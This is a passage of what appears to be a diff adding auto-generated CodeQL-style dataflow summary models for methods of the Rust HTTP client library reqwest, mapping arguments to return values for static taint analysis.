"::fmt_fields", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime", "Argument[0]", "Argument[self].Field[crate::async_impl::multipart::PartMetadata::mime].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime", "Argument[0]", "ReturnValue.Field[crate::async_impl::multipart::PartMetadata::mime].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self].Field[crate::async_impl::request::Request::body].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body_mut", "Argument[self].Field[crate::async_impl::request::Request::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers_mut", "Argument[self].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method_mut", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pieces", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self].Field[crate::async_impl::request::Request::timeout].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout_mut", "Argument[self].Field[crate::async_impl::request::Request::timeout]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url_mut", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self].Field[crate::async_impl::request::Request::version]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version_mut", "Argument[self].Field[crate::async_impl::request::Request::version]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self].Field[crate::async_impl::request::RequestBuilder::request]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build_split", "Argument[self].Field[crate::async_impl::request::RequestBuilder::client]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build_split", "Argument[self].Field[crate::async_impl::request::RequestBuilder::request]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::fetch_mode_no_cors", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::form", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::json", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::request]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::query", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status_ref", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::async_impl::response::Response::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundProcessor::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::layer", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundProcessor::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundResponseFuture::rx]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue.Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Bytes(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_async", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(1)]", "ReturnValue.Field[2]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(0)]", "ReturnValue.Field[crate::blocking::body::Reader::Reader(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::len", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::delete", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::get", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::head", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::request", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue.Field[crate::blocking::client::ClientBuilder::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_crl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_crls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_root_certificate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::brotli", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connection_verbose", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connector_layer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::cookie_provider", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::cookie_store", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::danger_accept_invalid_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::danger_accept_invalid_hostnames", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::default_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::deflate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::dns_resolver", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::gzip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::hickory_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http09_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_obsolete_multiline_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_spaces_after_header_name_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_ignore_invalid_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_title_case_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_adaptive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_initial_stream_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::max_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::min_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_brotli", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_deflate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_gzip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_hickory_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_trust_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_idle_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_max_idle_per_host", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::redirect", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::referer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve_to_addrs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_root_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_webpki_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_info", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_sni", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::trust_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_native_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_preconfigured_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_rustls_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::user_agent", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", "Argument[self]", "ReturnValue.Field[crate::blocking::multipart::Reader::form]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::reader", "Argument[self]", "ReturnValue.Field[crate::blocking::multipart::Reader::form]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::metadata", "Argument[self].Field[crate::blocking::multipart::Part::meta]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file_name", "Argument[self].Field[crate::blocking::multipart::Part::value]", "ReturnValue.Field[crate::blocking::multipart::Part::value]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self].Field[crate::blocking::multipart::Part::value]", "ReturnValue.Field[crate::blocking::multipart::Part::value]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime_str", "Argument[self].Field[crate::blocking::multipart::Part::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::blocking::multipart::Part::value]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self].Field[crate::blocking::request::Request::body].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body_mut", "Argument[self].Field[crate::blocking::request::Request::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_async", "Argument[self].Field[crate::blocking::request::Request::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::timeout]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::version]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::version]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self].Field[crate::blocking::request::RequestBuilder::request]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build_split", "Argument[self].Field[crate::blocking::request::RequestBuilder::client]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build_split", "Argument[self].Field[crate::blocking::request::RequestBuilder::request]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::form", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::json", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::multipart", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::request::RequestBuilder::request]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::query", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::send", "Argument[self].Field[crate::blocking::request::RequestBuilder::request].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::send", "Argument[self].Field[crate::blocking::request::RequestBuilder::request].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::response::Response::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::response::Response::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[2]", "ReturnValue.Field[crate::blocking::response::Response::_thread_handle]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::blocking::response::Response::inner].Field[crate::async_impl::response::Response::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::DefaultTls(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[1]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::DefaultTls(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[2]", "ReturnValue.Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[3]", "ReturnValue.Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[5]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[3]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[5]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[6]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::RustlsTls::http]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[2]", "ReturnValue.Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[3]", "ReturnValue.Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[5]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_timeout", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_verbose", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::verbose].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_verbose", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::verbose].Field[crate::connect::verbose::Wrapper(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::source", "Argument[self].Field[0]", 